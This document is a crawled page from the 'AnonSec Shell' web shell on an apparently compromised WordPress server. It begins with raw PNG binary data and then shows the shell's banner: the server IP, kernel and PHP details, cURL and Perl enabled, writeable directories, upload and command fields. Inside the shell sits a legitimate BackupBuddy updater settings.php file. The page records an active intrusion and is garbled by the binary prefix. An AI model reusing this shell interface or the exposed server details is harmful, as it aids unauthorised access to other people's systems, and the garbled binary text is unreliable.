‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/lib/updater/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/lib/updater/settings.php
<?php

/*
Central management of options storage and registered packages.
Written by Chris Jean for iThemes.com
Version 1.3.0

Version History
	1.0.0 - 2013-09-19 - Chris Jean
		Split off from the old Ithemes_Updater_Init class.
	1.0.1 - 2013-09-20 - Chris Jean
		Fixed bug where the old ithemes-updater-object global was being referenced.
	1.1.0 - 2013-10-04 - Chris Jean
		Enhancement: Added handler for GET query variable: ithemes-updater-force-minor-update.
		Bug Fix: Changed URL regex for applying the CA patch to only apply to links for api.ithemes.com and not the S3 links.
		Bug Fix: A check to ensure that the $GLOBALS['ithemes_updater_path'] variable is set properly.
		Misc: Updated file reference for ca/cacert.crt to ca/roots.crt.
	1.2.0 - 2013-10-23 - Chris Jean
		Enhancement: Added the quick_releases setting.
		Enhancement: Added an explicit flush when the ithemes-updater-force-minor-update query variable is used
		Misc: Removed the show_on_sites setting as it is no longer needed.
	1.3.0 - 2014-10-23 - Chris Jean
		Improved flushing system.
		Reduced cache timeout durations.
		Added timeout multiplier.
		Removed CA patch code as it's now handled in the server code.
		Updated code to meet WordPress coding standards.
*/


class Ithemes_Updater_Settings {
	private $option_name = 'ithemes-updater-cache';

	private $packages = array();
	private $new_packages = array();
	private $options = false;
	private $options_modified = false;
	private $do_flush = false;
	private $initialized = false;
	private $plugins_cleaned = false;
	private $themes_cleaned = false;
	private $db_failure = false;

	private $default_options = array(
		'timeout-multiplier' => 1,
		'expiration'         => 0,
		'timestamp'          => 0,
		'packages'           => array(),
		'update_plugins'     => array(),
		'update_themes'      => array(),
		'use_ca_patch'       => false,
		'use_ssl'            => true,
		'quick_releases'     => false,
	);


	public function __construct() {
		$GLOBALS['ithemes-updater-settings'] = $this;

		add_action( 'init', array( $this, 'init' ) );
		add_action( 'shutdown', array( $this, 'shutdown' ), -10 );
	}

	public function init() {
		if ( $this->initialized ) {
			return;
		}

		$this->initialized = true;

		if ( ! isset( $GLOBALS['ithemes_updater_path'] ) ) {
			$GLOBALS['ithemes_updater_path'] = dirname( __FILE__ );
		}

		$this->load();

		do_action( 'ithemes_updater_register', $this );

		$this->new_packages = array_diff( array_keys( $this->packages ), $this->options['packages'] );


		if ( isset( $_GET['ithemes-updater-force-quick-release-update'] ) && ! isset( $_GET['ithemes-updater-force-minor-update'] ) ) {
			$_GET['ithemes-updater-force-minor-update'] = $_GET['ithemes-updater-force-quick-release-update'];
		}


		$flushed = false;


		if ( isset( $_GET['ithemes-updater-force-minor-update'] ) && current_user_can( 'manage_options' ) ) {
			if ( $_GET['ithemes-updater-force-minor-update'] ) {
				$this->options['force_minor_version_update'] = time() + 3600;
				$this->update_options( $this->options );

				$this->flush( 'forced minor version update' );
				$flushed = true;
			} else {
				unset( $this->options['force_minor_version_update'] );
				$this->update_options( $this->options );

				$this->flush( 'unset forced minor version update' );
				$flushed = true;
			}
		} else if ( isset( $this->options['force_minor_version_update'] ) && ( $this->options['force_minor_version_update'] < time() ) ) {
			unset( $this->options['force_minor_version_update'] );
			$this->update_options( $this->options );
		}


		if ( ! $flushed ) {
			if ( ! empty( $_GET['ithemes-updater-force-refresh'] ) && current_user_can( 'manage_options' ) ) {
				$this->flush( 'forced' );
			} else if ( empty( $this->options['expiration'] ) || ( $this->options['expiration'] <= time() ) ) {
				$this->flush( 'expired' );
			} else if ( $this->is_expired( $this->options['timestamp'] ) ) {
				$this->flush( 'got stale' );
			} else if ( ! empty( $this->new_packages ) ) {
				$this->flush( 'new packages' );
			}
		}
	}

	public function load() {
		if ( false !== $this->options ) {
			return;
		}

		require_once( $GLOBALS['ithemes_updater_path'] . '/functions.php' );
		$this->options = Ithemes_Updater_Functions::get_site_option( $this->option_name );

		if ( false === $this->options ) {
			$this->db_failure = true;
		}
		if ( ! is_array( $this->options ) ) {
			$this->options = array();
		}

		$this->options = array_merge( $this->default_options, $this->options );

		if ( 0 == $this->options['timestamp'] ) {
			$this->update();
		}
	}

	public function shutdown() {
		$this->flush();

		if ( $this->options_modified && false === $this->db_failure ) {
			update_site_option( $this->option_name, $this->options );
		}
	}

	public function queue_flush() {
		$this->do_flush = true;
	}

	public function flush( $reason = '' ) {
		if ( empty( $reason ) && ! $this->do_flush ) {
			return;
		}

		$this->do_flush = false;

		$this->update();
	}

	public function update() {
		$this->init();

		require_once( $GLOBALS['ithemes_updater_path'] . '/updates.php' );

		Ithemes_Updater_Updates::run_update();
	}

	public function get_options() {
		$this->init();

		return $this->options;
	}

	public function get_option( $var ) {
		$this->init();

		if ( isset( $this->options[$var] ) ) {
			return $this->options[$var];
		}

		return null;
	}

	public function update_options( $updates ) {
		$this->init();

		$this->options = array_merge( $this->options, $updates );
		$this->options_modified = true;
	}

	public function update_packages() {
		$this->update_options( array( 'packages' => array_keys( $this->packages ) ) );
	}

	public function get_packages() {
		return $this->packages;
	}

	public function get_new_packages() {
		return $this->new_packages;
	}

	public function filter_update_plugins( $update_plugins ) {
		if ( ! is_object( $update_plugins ) ) {
			return $update_plugins;
		}

		if ( ! isset( $update_plugins->response ) || ! is_array( $update_plugins->response ) ) {
			$update_plugins->response = array();
		}

		$this->flush();

		if ( ! is_array( $this->options ) || ! isset( $this->options['update_plugins'] ) ) {
			$this->load();
		}

		if ( isset( $this->options['update_plugins'] ) && is_array( $this->options['update_plugins'] ) ) {
			if ( ! $this->plugins_cleaned ) {
				@include_once( ABSPATH . '/wp-admin/includes/plugin.php' );

				if ( is_callable( 'get_plugin_data' ) ) {
					foreach ( $this->options['update_plugins'] as $plugin => $update_data ) {
						if ( ! is_file( WP_PLUGIN_DIR . "/$plugin" ) ) {
							continue;
						}

						$plugin_data = get_plugin_data( WP_PLUGIN_DIR . "/$plugin", false, false );

						if ( $plugin_data['Version'] == $update_data->new_version ) {
							unset( $this->options['update_plugins'][$plugin] );
							$this->plugins_cleaned = true;
						}
					}
				}

				if ( $this->plugins_cleaned ) {
					$this->options_modified = true;
				}

				$this->plugins_cleaned = true;
			}

			$update_plugins->response = array_merge( $update_plugins->response, $this->options['update_plugins'] );
		}

		return $update_plugins;
	}

	public function filter_update_themes( $update_themes ) {
		if ( ! is_object( $update_themes ) ) {
			return $update_themes;
		}

		if ( ! isset( $update_themes->response ) || ! is_array( $update_themes->response ) ) {
			$update_themes->response = array();
		}

		$this->flush();

		if ( ! is_array( $this->options ) || ! isset( $this->options['update_themes'] ) ) {
			$this->load();
		}

		if ( isset( $this->options['update_themes'] ) && is_array( $this->options['update_themes'] ) ) {
			if ( ! $this->themes_cleaned ) {
				foreach ( $this->options['update_themes'] as $theme => $update_data ) {
					$theme_data = wp_get_theme( $theme );

					if ( $theme_data->get( 'Version' ) === $update_data['new_version'] ) {
						unset( $this->options['update_themes'][$theme] );

						$this->themes_cleaned = true;
					}
				}

				if ( $this->themes_cleaned ) {
					$this->options_modified = true;
				}

				$this->themes_cleaned = true;
			}

			$update_themes->response = array_merge( $update_themes->response, $this->options['update_themes'] );
		}

		return $update_themes;
	}

	public function register( $slug, $file ) {
		$this->packages[$slug][] = $file;
	}

	private function is_expired( $timestamp ) {
		$multiplier = $this->get_option( 'timeout-multiplier' );

		if ( $multiplier < 1 ) {
			$multiplier = 1;
		} else if ( $multiplier > 10 ) {
			$multiplier = 10;
		}


		if ( current_user_can( 'update_themes' ) || current_user_can( 'update_plugins' ) ) {
			if ( ! empty( $_POST['action'] ) && ( 'heartbeat' == $_POST['action'] ) ) {
				$timeout = 43200;
			} else {
				$page = empty( $_GET['page'] ) ? $GLOBALS['pagenow'] : $_GET['page'];

				switch ( $page ) {
					case 'update.php' :
					case 'update-core.php' :
					case 'ithemes-licensing' :
						$timeout = 60;
						break;
					case 'plugins.php' :
					case 'themes.php' :
						$timeout = 600;
						break;
					default :
						$timeout = 3600;
				}
			}
		} else {
			$timeout = 7200;
		}

		$timeout *= $multiplier;


		if ( $timestamp <= ( time() - $timeout ) ) {
			return true;
		}

		return false;
	}
}

new Ithemes_Updater_Settings();

Anon7 - 2022
AnonSec Team